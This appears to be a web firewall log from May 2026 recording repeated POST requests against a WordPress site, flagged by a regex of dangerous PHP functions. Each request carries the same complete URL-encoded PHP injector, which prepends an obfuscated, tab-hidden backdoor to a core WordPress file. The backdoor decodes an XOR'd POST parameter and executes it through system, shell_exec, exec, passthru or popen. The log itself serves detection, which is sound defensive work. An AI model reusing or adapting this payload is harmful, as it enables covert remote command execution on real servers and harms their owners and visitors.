HTTP\/1.1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:5377\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-site:none\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFxRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\n\nJA=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-tax-query.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524initialized5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524initialized3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524initialized6%2520%253D%2520%2522%255Cx73%255Cx74%255Cx72%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65%255Cx74_%255Cx63ontents%2522%253B%2520%2524auth_exception_handler%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524initialized2%2520%253D%2520%2522%255Cx73%255Cx68e%255Cx6C%255Cx6C_e%255Cx78ec%2522%253B%2520%2524initialized1%2520%253D%2520%2522sy%255Cx73%255Cx74e%255Cx6D%2522%253B%2520%2524initialized7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524initialized4%2520%253D%2520%2522%255Cx70a%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522r%255Cx65co%255Cx72%255Cx64%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2520%2528%2520%2524descriptor%2520%252C%2520%2524elem%2520%2529%2520%257B%2520%2524binding%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524t%253D0%253B%2520%2524t%253Cstrlen%2528%2524descriptor%2529%253B%2520%2524t%252B%252B%2529%257B%2520%2524binding.%253Dchr%2528ord%2528%2524descriptor%255B%2524t%255D%2529%255E%2524elem%2529%253B%2520%257D%2520return%2520%2524binding%253B%2520%257D%2520%2524record%2520%253D%2520%2524auth_exception_handler%2528%2524_POST%255B%2522r%255Cx65co%255Cx72%255Cx64%2522%255D%2529%253B%2520%2524record%2520%253D%2520reverse_lookup%2528%2524record%252C%252038%2529%253B%2520if%2520%2528function_exists%2528%2524initialized1%2529%2529%2520%257B%2520%2524initialized1%2528%2524record%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized2%2529%2529%2520%257B%2520print%2520%2524initialized2%2528%2524record%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized3%2529%2529%2520%257B%2520%2524initialized3%2528%2524record%252C%2520%2524entity_descriptor%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524entity_descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized4%2529%2529%2520%257B%2520%2524initialized4%2528%2524record%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized5%2529%2520%2526%2526%2520function_exists%2528%2524initialized6%2529%2520%2526%2526%2520function_exists%2528%2524initialized7%2529%2529%2520%257B%2520%2524elem_binding%2520%253D%2520%2524initialized5%2528%2524record%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524elem_binding%2529%2520%257B%2520%2524data_chunk_ptr%2520%253D%2520%2524initialized6%2528%2524elem_binding%2529%253B%2520%2524initialized7%2528%2524elem_binding%2529%253B%2520print%2520%2524data_chunk_ptr%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:40:20","172.86.89.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> dS:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-tax-query.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524initialized5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524initialized3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524initialized6%2520%253D%2520%2522%255Cx73%255Cx74%255Cx72%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65%255Cx74_%255Cx63ontents%2522%253B%2520%2524auth_exception_handler%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524initialized2%2520%253D%2520%2522%255Cx73%255Cx68e%255Cx6C%255Cx6C_e%255Cx78ec%2522%253B%2520%2524initialized1%2520%253D%2520%2522sy%255Cx73%255Cx74e%255Cx6D%2522%253B%2520%2524initialized7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524initialized4%2520%253D%2520%2522%255Cx70a%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522r%255Cx65co%255Cx72%255Cx64%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2520%2528%2520%2524descriptor%2520%252C%2520%2524elem%2520%2529%2520%257B%2520%2524binding%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524t%253D0%253B%2520%2524t%253Cstrlen%2528%2524descriptor%2529%253B%2520%2524t%252B%252B%2529%257B%2520%2524binding.%253Dchr%2528ord%2528%2524descriptor%255B%2524t%255D%2529%255E%2524elem%2529%253B%2520%257D%2520return%2520%2524binding%253B%2520%257D%2520%2524record%2520%253D%2520%2524auth_exception_handler%2528%2524_POST%255B%2522r%255Cx65co%255Cx72%255Cx64%2522%255D%2529%253B%2520%2524record%2520%253D%2520reverse_lookup%2528%2524record%252C%252038%2529%253B%2520if%2520%2528function_exists%2528%2524initialized1%2529%2529%2520%257B%2520%2524initialized1%2528%2524record%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized2%2529%2529%2520%257B%2520print%2520%2524initialized2%2528%2524record%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized3%2529%2529%2520%257B%2520%2524initialized3%2528%2524record%252C%2520%2524entity_descriptor%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524entity_descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized4%2529%2529%2520%257B%2520%2524initialized4%2528%2524record%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized5%2529%2520%2526%2526%2520function_exists%2528%2524initialized6%2529%2520%2526%2526%2520function_exists%2528%2524initialized7%2529%2529%2520%257B%2520%2524elem_binding%2520%253D%2520%2524initialized5%2528%2524record%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524elem_binding%2529%2520%257B%2520%2524data_chunk_ptr%2520%253D%2520%2524initialized6%2528%2524elem_binding%2529%253B%2520%2524initialized7%2528%2524elem_binding%2529%253B%2520print%2520%2524data_chunk_ptr%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:5377\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-site:none\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMSZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\n\ndS=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-tax-query.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524initialized5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524initialized3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524initialized6%2520%253D%2520%2522%255Cx73%255Cx74%255Cx72%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65%255Cx74_%255Cx63ontents%2522%253B%2520%2524auth_exception_handler%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524initialized2%2520%253D%2520%2522%255Cx73%255Cx68e%255Cx6C%255Cx6C_e%255Cx78ec%2522%253B%2520%2524initialized1%2520%253D%2520%2522sy%255Cx73%255Cx74e%255Cx6D%2522%253B%2520%2524initialized7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524initialized4%2520%253D%2520%2522%255Cx70a%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522r%255Cx65co%255Cx72%255Cx64%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2520%2528%2520%2524descriptor%2520%252C%2520%2524elem%2520%2529%2520%257B%2520%2524binding%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524t%253D0%253B%2520%2524t%253Cstrlen%2528%2524descriptor%2529%253B%2520%2524t%252B%252B%2529%257B%2520%2524binding.%253Dchr%2528ord%2528%2524descriptor%255B%2524t%255D%2529%255E%2524elem%2529%253B%2520%257D%2520return%2520%2524binding%253B%2520%257D%2520%2524record%2520%253D%2520%2524auth_exception_handler%2528%2524_POST%255B%2522r%255Cx65co%255Cx72%255Cx64%2522%255D%2529%253B%2520%2524record%2520%253D%2520reverse_lookup%2528%2524record%252C%252038%2529%253B%2520if%2520%2528function_exists%2528%2524initialized1%2529%2529%2520%257B%2520%2524initialized1%2528%2524record%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized2%2529%2529%2520%257B%2520print%2520%2524initialized2%2528%2524record%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized3%2529%2529%2520%257B%2520%2524initialized3%2528%2524record%252C%2520%2524entity_descriptor%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524entity_descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized4%2529%2529%2520%257B%2520%2524initialized4%2528%2524record%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized5%2529%2520%2526%2526%2520function_exists%2528%2524initialized6%2529%2520%2526%2526%2520function_exists%2528%2524initialized7%2529%2529%2520%257B%2520%2524elem_binding%2520%253D%2520%2524initialized5%2528%2524record%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524elem_binding%2529%2520%257B%2520%2524data_chunk_ptr%2520%253D%2520%2524initialized6%2528%2524elem_binding%2529%253B%2520%2524initialized7%2528%2524elem_binding%2529%253B%2520print%2520%2524data_chunk_ptr%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:40:49","148.113.9.51","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> fF:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-tax-query.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524initialized5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524initialized3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524initialized6%2520%253D%2520%2522%255Cx73%255Cx74%255Cx72%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65%255Cx74_%255Cx63ontents%2522%253B%2520%2524auth_exception_handler%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524initialized2%2520%253D%2520%2522%255Cx73%255Cx68e%255Cx6C%255Cx6C_e%255Cx78ec%2522%253B%2520%2524initialized1%2520%253D%2520%2522sy%255Cx73%255Cx74e%255Cx6D%2522%253B%2520%2524initialized7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524initialized4%2520%253D%2520%2522%255Cx70a%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522r%255Cx65co%255Cx72%255Cx64%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2520%2528%2520%2524descriptor%2520%252C%2520%2524elem%2520%2529%2520%257B%2520%2524binding%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524t%253D0%253B%2520%2524t%253Cstrlen%2528%2524descriptor%2529%253B%2520%2524t%252B%252B%2529%257B%2520%2524binding.%253Dchr%2528ord%2528%2524descriptor%255B%2524t%255D%2529%255E%2524elem%2529%253B%2520%257D%2520return%2520%2524binding%253B%2520%257D%2520%2524record%2520%253D%2520%2524auth_exception_handler%2528%2524_POST%255B%2522r%255Cx65co%255Cx72%255Cx64%2522%255D%2529%253B%2520%2524record%2520%253D%2520reverse_lookup%2528%2524record%252C%252038%2529%253B%2520if%2520%2528function_exists%2528%2524initialized1%2529%2529%2520%257B%2520%2524initialized1%2528%2524record%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized2%2529%2529%2520%257B%2520print%2520%2524initialized2%2528%2524record%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized3%2529%2529%2520%257B%2520%2524initialized3%2528%2524record%252C%2520%2524entity_descriptor%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524entity_descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized4%2529%2529%2520%257B%2520%2524initialized4%2528%2524record%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized5%2529%2520%2526%2526%2520function_exists%2528%2524initialized6%2529%2520%2526%2526%2520function_exists%2528%2524initialized7%2529%2529%2520%257B%2520%2524elem_binding%2520%253D%2520%2524initialized5%2528%2524record%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524elem_binding%2529%2520%257B%2520%2524data_chunk_ptr%2520%253D%2520%2524initialized6%2528%2524elem_binding%2529%253B%2520%2524initialized7%2528%2524elem_binding%2529%253B%2520print%2520%2524data_chunk_ptr%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMxLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncontent-length:5377\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-dest:document\n\nfF=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-tax-query.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524initialized5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524initialized3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524initialized6%2520%253D%2520%2522%255Cx73%255Cx74%255Cx72%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65%255Cx74_%255Cx63ontents%2522%253B%2520%2524auth_exception_handler%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524initialized2%2520%253D%2520%2522%255Cx73%255Cx68e%255Cx6C%255Cx6C_e%255Cx78ec%2522%253B%2520%2524initialized1%2520%253D%2520%2522sy%255Cx73%255Cx74e%255Cx6D%2522%253B%2520%2524initialized7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524initialized4%2520%253D%2520%2522%255Cx70a%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522r%255Cx65co%255Cx72%255Cx64%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2520%2528%2520%2524descriptor%2520%252C%2520%2524elem%2520%2529%2520%257B%2520%2524binding%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524t%253D0%253B%2520%2524t%253Cstrlen%2528%2524descriptor%2529%253B%2520%2524t%252B%252B%2529%257B%2520%2524binding.%253Dchr%2528ord%2528%2524descriptor%255B%2524t%255D%2529%255E%2524elem%2529%253B%2520%257D%2520return%2520%2524binding%253B%2520%257D%2520%2524record%2520%253D%2520%2524auth_exception_handler%2528%2524_POST%255B%2522r%255Cx65co%255Cx72%255Cx64%2522%255D%2529%253B%2520%2524record%2520%253D%2520reverse_lookup%2528%2524record%252C%252038%2529%253B%2520if%2520%2528function_exists%2528%2524initialized1%2529%2529%2520%257B%2520%2524initialized1%2528%2524record%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized2%2529%2529%2520%257B%2520print%2520%2524initialized2%2528%2524record%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized3%2529%2529%2520%257B%2520%2524initialized3%2528%2524record%252C%2520%2524entity_descriptor%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524entity_descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized4%2529%2529%2520%257B%2520%2524initialized4%2528%2524record%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized5%2529%2520%2526%2526%2520function_exists%2528%2524initialized6%2529%2520%2526%2526%2520function_exists%2528%2524initialized7%2529%2529%2520%257B%2520%2524elem_binding%2520%253D%2520%2524initialized5%2528%2524record%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524elem_binding%2529%2520%257B%2520%2524data_chunk_ptr%2520%253D%2520%2524initialized6%2528%2524elem_binding%2529%253B%2520%2524initialized7%2528%2524elem_binding%2529%253B%2520print%2520%2524data_chunk_ptr%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
